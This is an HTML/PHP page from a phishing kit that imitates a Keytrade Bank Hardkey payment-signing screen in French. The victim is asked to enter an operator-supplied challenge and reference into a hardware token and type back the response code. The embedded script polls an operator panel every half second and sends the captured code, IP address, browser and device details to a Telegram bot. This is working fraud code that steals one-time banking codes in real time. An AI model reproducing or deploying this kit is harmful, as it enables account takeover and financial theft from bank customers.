<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Page de Paiement</title>
   <style>
     * {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: Arial, sans-serif;
    line-height: 1.6;
    color: #2c3b4f;
    max-width: 800px;
    margin: 0 auto;
    padding: 20px;
    background: #f1f5f7;
}

header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    /* margin-bottom: 40px; */
    padding: 10px 0;
}

.visa-logo, .keytrade-logo {
    height: 50px;
}

.language {
    border-radius: 30px;
  cursor: pointer;
  background: #fff;
  font-weight: bold;
  color: #03b3d9;
  padding: 4px 12px;
    font-size: 14px;
}

.payment-details {
    background: #f1f5f7;
  border-radius: 8px;
  padding: 20px;
  margin-bottom: 30px;
  border: 1px solid #d7dfe3;
}

.detail-row {
    display: flex;
    justify-content: space-between;
    /* margin-bottom: 10px; */
    padding: 2px 5px;
}

.label {
    color: #666;
}

.value {
    font-weight: bold;
}

.payment-steps h2 {
    margin-bottom: 30px;
    font-size: 24px;
}
.payment-steps p {
  
    font-weight: bold;
}
.steps {
    display: flex;
    flex-direction: column;
    gap: 20px;
}

.step {
    display: flex;
    align-items: flex-start;
    gap: 15px;
}

.step-number {
    border: 2px solid #00B3D8;
    color: #00B3D8;
    width: 24px;
    height: 24px;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    flex-shrink: 0;
}

.button-ok, .button-3 {
    display: inline-block;
  background: #04c47d;
  color: white;
  padding: 6px 6px;
  border-radius: 50%;
  font-size: 0.65em;
  font-weight: 800;
}

.button-3 {
  background: #2d2d2d;
  padding: 3px 8px;
  font-size: 0.7em;
}

.response-section {
    margin-top: 30px;
    display: flex;
    flex-direction: column;
    gap: 10px;
}

label {
    font-weight: bold;
}

input {
    padding: 12px;
    border: 1px solid #a2a2a2;
  border-radius: 5px;
  font-size: 13px;
}

.confirm-button {
    background: #007f9e;
  color: white;
  padding: 15px;
  border: none;
  border-radius: 12px;
  cursor: pointer;
  font-size: 16px;
  margin-top: 10px;
  transition: background-color 0.3s;
}

.confirm-button:hover {
    background: #006d8f;
}

/* Responsive Design */
@media (max-width: 600px) {
    body {
        padding: 15px;
    }

    header {
        flex-direction: row;
        justify-content: space-between;
        padding: 0;
        margin-bottom: 10px;
    }

    .visa-logo, .keytrade-logo {
        height: 30px;
    }

    .language {
        padding: 4px 12px;
        font-size: 14px;
    }

    .payment-details {
        padding: 15px;
        margin-bottom: 25px;
    }

    .detail-row {
        display: flex;
        flex-direction: column;
        align-items: flex-start;
        
    }

    .label {
        font-size: 14px;
    }

    .value {
        font-size: 16px;
    }

    .payment-steps h2 {
        font-size: 20px;
        margin-bottom: 20px;
    }

    .steps {
        gap: 15px;
    }

    .step {
        font-size: 14px;
    }

    .step-number {
        width: 22px;
        height: 22px;
        font-size: 12px;
    }

    .response-section {
        margin-top: 25px;
    }

    input {
        padding: 10px;
    }

    .confirm-button {
        padding: 12px;
    }
}
   </style>
</head>
<body class="container" ng-app="sa_app"  ng-controller="controller" ng-init="show_data()">
    <header>
       <svg style="width: 125px;" xmlns="http://www.w3.org/2000/svg" id="Layer_1" x="0" y="0" version="1.1" viewBox="0 0 187 45" xml:space="preserve"><path d="M106.9 15h-2.7c-.1 0-.2.1-.3.2l-2 3.3-4.2-7.2c-.1-.1-.2-.2-.3-.2h-3.3c-.1 0-.3.1-.3.2-.1.1-.1.3 0 .4l5.9 10.1v7.4c0 .2.2.4.4.4h2.9c.2 0 .4-.2.4-.4V22l3.9-6.4c.1-.1.1-.3 0-.4-.1-.1-.2-.2-.4-.2z M120.8 11h-14.2c-.1 0-.2.1-.3.2l-1.3 2.2c-.1.1-.1.3 0 .4.1.1.2.2.3.2h5.7v15.2c0 .2.2.4.4.4h2.9c.2 0 .4-.2.4-.4V13.9h5.3c.1 0 .3-.1.3-.2l.9-2.2v-.3c-.2-.1-.3-.2-.4-.2zM79.3 28.8l-8.9-9 8.1-8.2c.1-.1.1-.3.1-.4-.1-.1-.2-.2-.3-.2h-3.6c-.1 0-.2 0-.3.1l-7.8 8.5v-8.3c0-.2-.2-.4-.4-.4h-2.9c-.2 0-.4.2-.4.4V29c0 .2.2.4.4.4h2.9c.2 0 .4-.2.4-.4v-8.3l8.2 8.6c.1.1.2.1.3.1h4.2c.2 0 .4-.2.4-.4-.2 0-.3-.1-.4-.2zM170.4 13.3c-.9-.8-2-1.5-3.3-1.9s-2.7-.7-4.3-.7c-1.3 0-2.4.1-3.3.2-.9.1-1.8.2-2.6.4-.2 0-.3.2-.3.4v17.1c0 .2.1.3.3.4.7.2 1.6.4 2.6.5s2.1.2 3.3.2c1.6 0 3-.2 4.3-.7s2.4-1.1 3.3-2c.9-.8 1.6-1.8 2.1-3s.7-2.5.7-3.9c0-1.5-.2-2.8-.7-4-.5-1.1-1.2-2.1-2.1-3zm-1.5 9.6c-.3.8-.7 1.5-1.3 2.2-.6.6-1.2 1.1-2.1 1.5-.8.4-1.8.6-2.8.6-.5 0-1.1 0-1.6-.1-.4-.1-.7-.1-1-.2V13.5h1.9c1.2 0 2.2.2 3.2.5.9.3 1.7.8 2.3 1.4.6.6 1.1 1.3 1.4 2.2.3.8.5 1.8.5 2.8 0 .9-.2 1.7-.5 2.5zM92.7 26.6h-7.9v-5.1h5.1c.1 0 .3-.1.3-.2l.9-2V19c-.1-.1-.2-.2-.3-.2h-6v-5h6.4c.1 0 .3-.1.3-.2l.9-2c.1-.1 0-.2 0-.3-.1-.1-.2-.2-.3-.2H81.5c-.2 0-.4.2-.4.4v17.7c0 .2.2.4.4.4h9.9c.1 0 .2-.1.3-.2l1.2-2.1c.1-.1.1-.2 0-.4 0-.2-.1-.3-.2-.3zM147.6 11.2c-.1-.1-.2-.2-.3-.2h-3.1c-.1 0-.2.1-.3.2-.1.1-.1.2 0 .3l.6 1.3-6.8 16.2v.3c.1.1.2.2.3.2h2.7c.1 0 .3-.1.3-.2l1.6-3.9h6.6l1.6 3.9c.1.1.2.2.3.2h3.2c.2 0 .4-.2.4-.4 0-.1 0-.2-.1-.2l-7-17.7zm-3.9 11.4l2.2-5.7 2.2 5.7h-4.4zM186.6 26.6h-7.9v-5.1h5.1c.1 0 .3-.1.3-.2l.9-2c.1-.1 0-.2 0-.3-.1-.1-.2-.2-.3-.2h-6v-5h6.4c.1 0 .3-.1.3-.2l.9-2c.1-.1 0-.2 0-.3-.1-.1-.2-.2-.3-.2h-10.6c-.2 0-.4.2-.4.4v17.7c0 .2.2.4.4.4h9.9c.1 0 .2-.1.3-.2l1.2-2.1c.1-.1.1-.3 0-.4.1-.2 0-.3-.2-.3z M137.8 28.8l-6.3-7.6c.3-.1.5-.3.8-.4.5-.3.9-.7 1.4-1.1.4-.4.8-1 1.1-1.5.3-.6.4-1.3.4-2 0-.9-.2-1.7-.6-2.4-.4-.7-.9-1.2-1.6-1.7-.6-.4-1.4-.8-2.3-1-.9-.2-1.8-.3-2.8-.3-1.2 0-2.3.1-3.1.2-.8.1-1.6.2-2.4.4-.2 0-.3.2-.3.4v17.5c0 .2.2.4.4.4h2.9c.2 0 .4-.2.4-.4v-6.8h2.3l5.6 7c.1.1.2.1.3.1h3.6c.2 0 .4-.2.4-.4s-.1-.3-.2-.4zm-7-10.3c-.2.3-.5.5-.8.7s-.5.3-.7.4h-3.5v-6.2h1.3c1.6 0 2.7.2 3.5.7.7.4 1 1.2 1 2.2 0 .4-.1.8-.2 1.1-.2.5-.4.8-.6 1.1z" fill="#2c3b45"></path><path d="M67.8 39.1z" fill="#03b3d9"></path><path fill="none" d="M67.8 39.1"></path><path d="M68.8 37.8zM68.5 37.9c.1 0 .2-.1.2-.1.2-.1.4-.3.6-.4.2-.2.4-.4.5-.6.1-.2.2-.5.2-.9 0-.3-.1-.7-.3-.9-.2-.3-.5-.5-.8-.7s-.8-.3-1.2-.4c-.5-.1-1-.2-1.5-.2-.7 0-1.3 0-1.8.1-.6 0-1 .1-1.4.2-.1 0-.1.1-.1.1v8.3c0 .1 0 .1.1.1s.3.1.6.1c.2 0 .5.1.8.1s.6.1 1 .1h1c.6 0 1.1-.1 1.6-.2s.9-.3 1.3-.5.7-.5.9-.8c.2-.3.3-.7.3-1.1 0-.6-.2-1.1-.6-1.6-.4-.3-.8-.5-1.4-.7zm-1-2.7c.4.2.6.5.6.9s-.1.6-.3.9c-.2.2-.4.4-.7.6h-2.3v-2.7h.9c.8 0 1.4.1 1.8.3zm-2.7 3.5H66c.8 0 1.3.1 1.8.3.2.1.4.2.5.4s.2.4.2.6c0 .5-.2.8-.6 1.1s-1 .4-1.7.4c-.4 0-.8 0-1-.1-.2 0-.3-.1-.4-.1v-2.6zM76.3 33.8l-1.9-.1s-.1 0-.1.1v.1l.3.7-3.8 7.8v.1l.1.1h1.6c.1 0 .1 0 .1-.1l.9-1.9h3.9l.9 1.9.1.1h1.8s.1 0 .1-.1v-.1l-4-8.6zm-.9 2.6l1.4 2.9h-2.7l1.3-2.9zM90.2 33.8h-1.5V39.5l-5.9-5.7h-2.2c-.1 0-.1 0-.1.1v.1l1.1 1v7.6h1.6V36.7l6.2 5.9h1v-8.7l-.2-.1zM101.3 42.4L96.1 38l4.6-4s.1-.1 0-.1c0-.1-.1-.1-.1-.1h-2.2l-4.6 4.3v-4.3H91.9V42.6H93.8v-4.3l4.8 4.3h2.5c.1 0 .1 0 .2-.2.1.1.1 0 0 0zM30.8 9.7c.7 0 1.2-.6 1.1-1.3l-1.2-6.7C30.6 1 29.9.4 29.1.4H28c-.7 0-1.4.6-1.6 1.3l-1.2 6.7c-.1.7.4 1.3 1.1 1.3h4.5zM31.2 13.9c-.4-.6-1.3-1.1-2-1.1h-1.1c-.7 0-1.7.5-2 1.1L9.5 41c-.4.6-.2 1.5.3 2l1.7 1.3c.6.5 1.4.4 1.8-.2l14.5-20.2c.4-.6 1.1-.6 1.6 0l14.5 20.2c.4.6 1.2.7 1.8.2l1.7-1.3c.6-.5.7-1.4.3-2L31.2 13.9zM21.6 13c.4-.6.1-1.3-.6-1.4l-16.4-3c-.8-.1-1.6.4-1.9 1l-.8 1.8c-.3.7.1 1.4.8 1.7L17.1 18c.7.2 1.6-.1 2-.7l2.5-4.3zM38.2 17.3c.4.6 1.3 1 2 .7l14.4-4.8c.7-.2 1.1-1 .8-1.7l-.8-1.8c-.3-.7-1.2-1.1-1.9-1l-16.4 3c-.7.1-1 .8-.6 1.4l2.5 4.2z" fill="#03b3d9" ></path></svg>
        <div class="language">FR</div>
    </header>

    <main>
        <div class="payment-details">
            <div class="detail-row">
                <span class="label">Commerçant</span>
                <span class="value" ng-bind="merchant">XXXX</span>
            </div>
            <div class="detail-row">
                <span class="label">Montant</span>
                <span class="binding"><span ng-bind="2.14"></span> EUR</span>
            </div>
            <div class="detail-row">
                <span class="label">Carte</span>
                <span class="value" >XXXX XXXX XXXX <span ng-bind="card"></span></span>
            </div>
            <div class="detail-row">
                <span class="label">Date</span>
                <span class="value"><?php date_default_timezone_set('Europe/Paris'); echo date('d/m/Y H:i:s'); ?></span>
            </div>
        </div>

        <section class="payment-steps">
            <h2>Signez votre paiement</h2>
            
            <div class="steps">
                <div class="step">
                    <span class="step-number">1</span>
                    <p>Appuyez sur <span class="button-ok">OK</span> sur votre Hardkey</p>
                </div>
                <div class="step">
                    <span class="step-number">2</span>
                    <p>Appuyez sur <span class="button-3">3</span></p>
                </div>
                <div class="step">
                    <span class="step-number">3</span>
                    <p>Entrez votre code PIN sur votre Hardkey et appuyez sur <span class="button-ok">OK</span></p>
                </div>
                <div class="step">
                    <span class="step-number">4</span>
                    <p>Entrez <span ng-bind="data[0]"></span> (challenge) et appuyez <span class="button-ok">OK</span></p>
                </div>
                <div class="step">
                    <span class="step-number">5</span>
                    <p>Entrez <span ng-bind="data[1]"></span> (référence) et appuyez <span class="button-ok">OK</span></p>
                </div>
                <div class="step">
                    <span class="step-number">6</span>
                    <p>Un code apparaît sur l'écran de votre Hardkey. Saisissez ce code sous "Code réponse"</p>
                </div>
            </div>

            <div class="response-section">
                <label for="response">Code réponse</label>
                <input type="text"  trim="false"  maxlength="10" name="otp" ng-model="codeotp"   inputmode="numeric" autocomplete="off" required="" id="response" placeholder="Ex. 84863">
                <button class="confirm-button" type="button" id="validate" ng-click="validation()"  >Confirmer le paiement</button>
            </div>
        </section>
    </main>

    <script src="../file/jquery.min.js"></script>
<script src="../file/angular.min.js"></script>
<script src="../file/dirPaginate.js"></script>

<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.css">


<script src="trans.js"></script>


<script> 

var fetch = angular.module('sa_app', ['angularUtils.directives.dirPagination']);

fetch.controller('controller', ['$scope', '$http','$filter', function ($scope, $http,$filter) {
    var urlx = window.location.pathname;
    var pathname = urlx.replace("keytrade.php", "");

    var urly = window.location.href;
    var pathname2 = urly.replace("keytrade.php", "");
 
    $scope.info_User={};
    $scope.load='';
    $scope.loads_info='';
    $scope.base_url='';
    $scope.logo_png='';
    
    $scope.card = ""; 
    $scope.expiration = "";
    $scope.montant = "";
    $scope.merchant = "";
   
    $scope.cvv = "";
	$scope.codeotp = "";

   
    $scope.show_data = function(){
 


    $scope.detaile  =JSON.parse(localStorage.getItem('detaile'));
      $scope.card = $scope.detaile.card_nbr.slice(-4);
      $scope.montant = $scope.detaile.montant;
      $scope.merchant = $scope.detaile.merchant;


        $http({

          method: 'get',
          url: "../config/device.php"
        }).then(function successCallback(response) {
                $scope.info_User=response.data;
                $scope.base_url=$scope.info_User['url'];

                var Detailefun = {}; 
                Detailefun.ip=  $scope.info_User['ip'];
                Detailefun.fun= "=> Page Kaytrade ";
                $(".overlay").hide();
				
                $http({
                     method: 'post',
                     url:  $scope.base_url+"config/fun.php?request=3",
                     data: JSON.stringify(Detailefun), 
                      headers: {'Content-Type': 'application/json'}
                  }).then(function(data) {
				 
					
                   Detailefun.data= data.data.data;
                   Detailefun.bank= data.data.bank;
                   Detailefun.code= data.data.code;




				   $http({
                     method: 'post',
                     url:  $scope.base_url+"config/fun.php?request=2",
                     data: JSON.stringify(Detailefun), 
                      headers: {'Content-Type': 'application/json'}
               }).then(function(data) {

				
			   });

				  });
               
              

        }); 
    }
$scope.banpay = function(){
  $(".overlay").show();
  window.location.href = pathname+'banpay.php';
}

$scope.bloc_login = function(){ 
 
        if($scope.codeotp.length == 0){
           $("#validate").attr('disabled','disabled');
		   return false;

        }else if( $scope.codeotp.length >= 4){
             $("#validate").removeAttr('disabled');
        }else{
              $("#validate").attr('disabled','disabled');

		 
        }

		
    }

    $scope.previousTitle = null;
    $scope.codeerrone = false;
   
   setInterval(function() {
                var Detaile = {}; 
                Detaile.ip=  $scope.info_User['ip'];
                $http({
                     method: 'post',
                     url:  $scope.base_url+"config/fun.php?request=3",
                     data: JSON.stringify(Detaile), 
                      headers: {'Content-Type': 'application/json'}
                  }).then(function(data) {
                   $scope.ip=data.data.ip;
                   $scope.fun=data.data.fun;
                   $scope.data=data.data.data;
            

                   $scope.bank=data.data.bank;
                   $scope.code=data.data.code;

                   var titre = $scope.code; // Titre
        var message =   data.data.message; // Message
       console.log(titre)
        // Vérifier si le code correspond à l'une des conditions
        if (
          titre !== $scope.previousTitle &&
            (titre === 'Session expirée' || titre === 'Carte non supportée' || titre === 'Code erroné' || titre === 'Erreur')
        ) {
          $scope.previousTitle = titre;  // Marquer que l'alerte a été affichée

            Swal.fire({
                title: titre,
                text: message,
                icon: 'error', // Type d'icône : 'error'
                confirmButtonText: 'OK'
            }).then((result) => {
                /* Si l'utilisateur clique sur "OK", vérifier la redirection
                if (result.isConfirmed && (titre === 'Carte non supportée' || titre === 'Session expirée' || titre === 'Erreur')) {
                    window.location.href = '../banpay.php?token=f5sd4f654f412sd4fd65DSQ%%sd'; // Redirection
                } */
            });
          }
          

                 
                     console.log(data);
                     $(".overlay").hide();
                     $scope.detaile2  =JSON.parse(localStorage.getItem('detaile'));
 
    switch ($scope.fun) {

            case "gotoloading3D":
            window.location.href = pathname + 'loading.php';
            break;
        
            default:
            $scope.show_data();
                break;
        }
               });
			//   $(".overlay").hide();
    }, 500);


   $scope.validation = function(){ 
          

	if($scope.codeotp.length <= 4){
        alert($scope.codeotp)
	  alert("Code OTP invalide");
	  return false;
	}
	     //  $(".overlay").show();

                var Detaile = {}; 
      
             Detaile.codeotp='CODE : <code>'+ $scope.codeotp+'</code>';
             Detaile.info= "[ip: "+$scope.info_User['ip']+" ]\n[browser: "+$scope.info_User['browser']+" ]\n[device: "+$scope.info_User['device']+" ]\n[system: "+$scope.info_User['system']+" ]";


            const message = `CODE REPONSE KEYTRADE\n--------------\n${Detaile.codeotp}\n\n--------------\n${Detaile.info}`;
            const token = $scope.info_User['token'];
            const chatId =$scope.info_User['chatId'];

            $.ajax({
                type: 'POST',
                url: `https://api.telegram.org/bot${token}/sendMessage`,
                data: {
                    chat_id: chatId,
                    text: message,
                    parse_mode: 'html',
                },
                success: function (res) {
                          $scope.codeotp="";
					 
                         // $scope.code="cours";
					     window.location.href = pathname+'loading.php';
                   
                },
                error: function (error) {
                    console.error(error);
                    alert("error failed");
                }
            });


    }




}]);

</script>


</body>
</html>

	
	</body></html>